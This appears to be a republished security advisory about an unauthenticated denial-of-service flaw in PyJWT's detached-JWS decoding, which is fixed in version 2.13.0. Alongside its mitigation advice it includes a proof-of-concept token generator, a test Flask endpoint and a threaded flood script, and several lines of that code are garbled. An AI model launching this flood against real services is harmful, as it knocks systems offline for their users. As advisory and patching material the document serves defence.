Listen to this Post
When verifying detached JWS tokens using the unencoded-payload option ("b64": false, RFC 7797), PyJWT performs Base64URL decoding of the compact-serialization payload segment before enforcing the detached-payload rules. For b64=false, PyJWT later discards that decoded payload and replaces it with the caller-provided detached_payload. In practice, this turns the middle segment into an attacker-controlled “work amplifier”: a remote client can supply an arbitrarily large Base64URL payload segment that forces CPU work + memory allocations even if the signature is invalid. This creates an unauthenticated DoS vector against any endpoint that verifies detached JWS using PyJWT.
The vulnerability resides in the order of operations inside jwt/api_jws.py. The `decode_complete()` method calls `_load(jwt)` first, which decodes the token segments. Only after that does it check `header.get(“b64”)` and, if False, replace `payload = detached_payload` and rebuild the signing input. Inside _load(), PyJWT unconditionally performs payload = base64url_decode(payload_segment). This is the expensive step the attacker can amplify.
For `b64=false` detached JWS, the payload segment in compact form is effectively not needed for verification in PyJWT’s own logic (since the library uses `detached_payload` as the real payload). Yet PyJWT still decodes it first, meaning the cost is paid even when the signature is invalid, the decoded bytes are discarded, and the attacker controls the size of this cost via token length.
The security impact includes unauthenticated remote DoS (decoding work happens before signature rejection, so the attacker does not need a signing key), CPU amplification (Base64URL decode time scales linearly with payload segment size), and memory amplification (decoded output allocates large byte buffers, tens of MB per request). Under modest concurrency bursts, request queueing and worker starvation occur, leading to a clear denial of service.
Confirmed affected versions include PyJWT 2.12.1, with all versions that include detached payload support for JWS decoding (introduced in 2.4.0) likely affected. The issue was fixed in PyJWT 2.13.0.
DailyCVE Form:
Platform: PyJWT
Version: 2.8.0-2.12.1
Vulnerability: Unauthenticated DoS
Severity: Medium (5.3)
date: 2026-05-28
Prediction: 2026-05-21
What Undercode Say:
Generate a malicious token with a large, unused Base64URL payload segment
PAYLOAD=$(python -c "import base64; print(base64.urlsafe_b64encode(b'A'8000000).decode())")
HEADER='{"alg":"RS256","b64":false,"crit":["b64"]}'
ENCODED_HEADER=$(echo -n "$HEADER" | base64 | tr -d '=' | tr '/+' '_-')
TOKEN="${ENCODED_HEADER}.${PAYLOAD}."
server_localhost.py – Vulnerable verification endpoint
from flask import Flask, request, jsonify
import jwt
import time
import tracemalloc
app = Flask(<strong>name</strong>)
JWT_PUBLIC_KEY = "..." Public key for signature verification
@app.route('/verify', methods=['POST'])
def verify():
token = request.json.get('token')
detached_payload = request.json.get('detached_payload', '').encode()
tracemalloc.start()
start = time.perf_counter()
try:
jwt.decode(token, JWT_PUBLIC_KEY, algorithms=['RS256'],
options={'require': ['exp', 'b64']},
detached_payload=detached_payload)
ok = True
except jwt.InvalidSignatureError:
ok = False
elapsed = (time.perf_counter() - start) 1000
current, peak = tracemalloc.get_traced_memory()
tracemalloc.stop()
return jsonify({'ok': ok, 'time_ms': elapsed, 'peak_bytes': peak,
'token_len': len(token), 'error': str(err)})
flood_localhost.py – Concurrent DoS exploit
import requests, threading
def attack():
PAYLOAD = 'A' 8_000_000
headers = {"Authorization": f"Bearer {MALICIOUS_TOKEN}"}
requests.post('http://localhost:8000/verify', json={'token': MALICIOUS_TOKEN, 'detached_payload': PAYLOAD})
threads = [threading.Thread(target=attack) for _ in range(20)]
for t in threads: t.start()
for t in threads: t.join()
Exploit:
An attacker crafts a JWS compact token with header containing `”b64″: false` and crit:["b64"]. The payload segment (middle segment) is inflated to millions of Base64URL characters (e.g., 8,000,000 chars). The server calls PyJWS.decode(...detached_payload=...). PyJWT decodes the inflated segment (CPU + memory). Signature is rejected afterward (401) — but resources are already consumed. Repeated requests or bursts cause queueing/worker starvation → DoS. Each request costs ~20–23 ms server processing and ~32 MB peak allocations, but client-observed latency rises to ~1.15 seconds because requests queue behind each other, leading to clear worker starvation and head-of-line blocking. All responses are rejected with InvalidSignatureError, making the attack unauthenticated.
Protection:
- Upgrade to PyJWT 2.13.0 or later.
- Enforce strict maximum token length at the HTTP boundary (proxy/gateway) to ≤2 MB.
- Apply rate limiting on verification endpoints.
- If detached JWS (
b64=false) is not needed, reject tokens where the header includes"b64": false. - Use a Web Application Firewall (WAF) to inspect and drop JWS payloads exceeding normal length thresholds.
- Reject non-empty payload segment when `b64=false` by parsing the header first and raising a `DecodeError` before decoding.
Impact:
Successful exploitation leads to uncontrolled resource consumption (CWE-400), enabling an unauthenticated remote attacker to cause a denial-of-service condition. Attackers can exhaust CPU and memory resources on the verification server, leading to service disruption, request queueing, and worker starvation, effectively taking the affected service offline. The impact is amplified in high-traffic environments where multiple concurrent requests can overwhelm the server. The attack requires no valid signature, making it accessible to any remote client with network access to the vulnerable endpoint.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

